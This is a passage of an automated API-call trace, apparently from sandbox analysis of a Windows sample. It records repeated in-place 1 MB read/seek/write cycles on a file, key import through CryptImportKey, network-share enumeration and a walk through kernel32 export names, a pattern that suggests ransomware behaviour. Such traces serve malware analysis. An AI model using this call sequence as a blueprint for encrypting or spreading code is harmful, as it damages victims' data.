lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0153.188] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.188] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0153.191] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0153.200] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.200] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0153.202] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0153.550] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.550] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0153.553] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0153.571] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.571] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0153.573] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0153.653] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.653] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0153.663] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0153.680] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.680] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0153.683] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0154.349] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.349] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0154.351] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0154.398] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.398] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0154.400] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0154.619] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.619] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0154.622] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0154.631] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.631] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0154.634] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0154.839] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.839] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0154.841] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0154.858] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.858] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0154.860] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0154.990] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.991] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0154.993] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0155.055] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0155.055] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0155.057] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0155.136] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0155.136] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0155.139] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0155.197] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0155.197] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0155.200] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0155.266] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0155.266] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0155.268] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0155.540] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0155.540] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0155.543] ReadFile (hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0) Thread: id = 146 os_tid = 0xefc [0095.426] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0095.427] CryptAcquireContextW (in: phProv=0x31c0004, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31c0004*=0x6a2918) returned 1 [0095.430] CryptImportKey (in: hProv=0x6a2918, pbData=0x3180000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31c0008 | out: phKey=0x31c0008*=0x68cc28) returned 1 [0095.430] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x13, lpNetResource=0x0, lphEnum=0x39fff50 | out: lphEnum=0x39fff50*=0x68cc68) returned 0x0 [0095.430] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x3a00000 [0095.431] WNetEnumResourceW (in: hEnum=0x68cc68, lpcCount=0x39fff54, lpBuffer=0x3a00000, lpBufferSize=0x39fff4c | out: lpcCount=0x39fff54, lpBuffer=0x3a00000, lpBufferSize=0x39fff4c) returned 0x0 [0095.431] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x13, lpNetResource=0x3a00000, lphEnum=0x39fff20 | out: lphEnum=0x39fff20*=0x6996b8) returned 0x0 [0095.432] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x3a10000 [0095.433] WNetEnumResourceW (in: hEnum=0x6996b8, lpcCount=0x39fff24, lpBuffer=0x3a10000, lpBufferSize=0x39fff1c | out: lpcCount=0x39fff24, lpBuffer=0x3a10000, lpBufferSize=0x39fff1c) returned 0x103 [0095.433] lstrlenA (lpString="kernel32.dll") returned 12 [0095.433] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0095.433] lstrcpyA (in: lpString1=0x39ff290, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0095.433] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0095.433] lstrcpyA (in: lpString1=0x39ff290, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0095.433] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0095.433] lstrcpyA (in: lpString1=0x39ff290, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0095.433] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0095.433] lstrcpyA (in: lpString1=0x39ff290, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0095.433] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0095.433] lstrcpyA (in: lpString1=0x39ff290, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0095.433] lstrlenA (lpString="ADDATOMA") returned 8 [0095.433] lstrcpyA (in: lpString1=0x39ff290, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0095.433] lstrlenA (lpString="ADDATOMW") returned 8 [0095.433] lstrcpyA (in: lpString1=0x39ff290, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0095.433] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0095.433] lstrcpyA (in: lpString1=0x39ff290, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0095.433] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0095.433] lstrcpyA (in: lpString1=0x39ff290, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0095.434] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0095.434] lstrcpyA (in: lpString1=0x39ff290, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0095.434] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0095.434] lstrcpyA (in: lpString1=0x39ff290, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0095.434] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0095.434] lstrcpyA (in: lpString1=0x39ff290, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0095.434] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0095.434] lstrcpyA (in: lpString1=0x39ff290, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0095.434] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0095.434] lstrcpyA (in: lpString1=0x39ff290, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0095.434] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0095.434] lstrcpyA (in: lpString1=0x39ff290, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0095.434] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0095.434] lstrcpyA (in: lpString1=0x39ff290, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0095.434] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0095.434] lstrcpyA (in: lpString1=0x39ff290, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0095.434] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0095.435] lstrcpyA (in: lpString1=0x39ff290, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0095.435] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0095.435] lstrcpyA (in: lpString1=0x39ff290, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0095.435] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0095.435] lstrcpyA (in: lpString1=0x39ff290, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0095.435] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0095.435] lstrcpyA (in: lpString1=0x39ff290, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0095.435] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0095.435] lstrcpyA (in: lpString1=0x39ff290, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0095.435] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0095.435] lstrcpyA (in: lpString1=0x39ff290, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0095.435] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0095.435] lstrcpyA (in: lpString1=0x39ff290, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0095.435] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0095.435] lstrcpyA (in: lpString1=0x39ff290, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0095.436] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0095.436] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0095.436] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0095.436] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0095.436] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0095.436] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0095.436] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0095.436] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0095.436] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0095.436] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0095.436] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0095.436] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0095.436] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0095.436] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0095.436] lstrlenA (lpString="BACKUPREAD") returned 10 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0095.436] lstrlenA (lpString="BACKUPSEEK") returned 10 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0095.436] lstrlenA (lpString="BACKUPWRITE") returned 11 [0095.436] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0095.437] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0095.437] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0095.437] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0095.437] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0095.437] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0095.437] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0095.437] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0095.437] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0095.437] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0095.437] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0095.437] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0095.437] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0095.437] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0095.437] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0095.437] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0095.437] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0095.437] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0095.437] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0095.437] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0095.437] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0095.437] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0095.437] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0095.437] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0095.437] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0095.437] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0095.437] lstrcpyA (in: lpString1=0x39ff290, 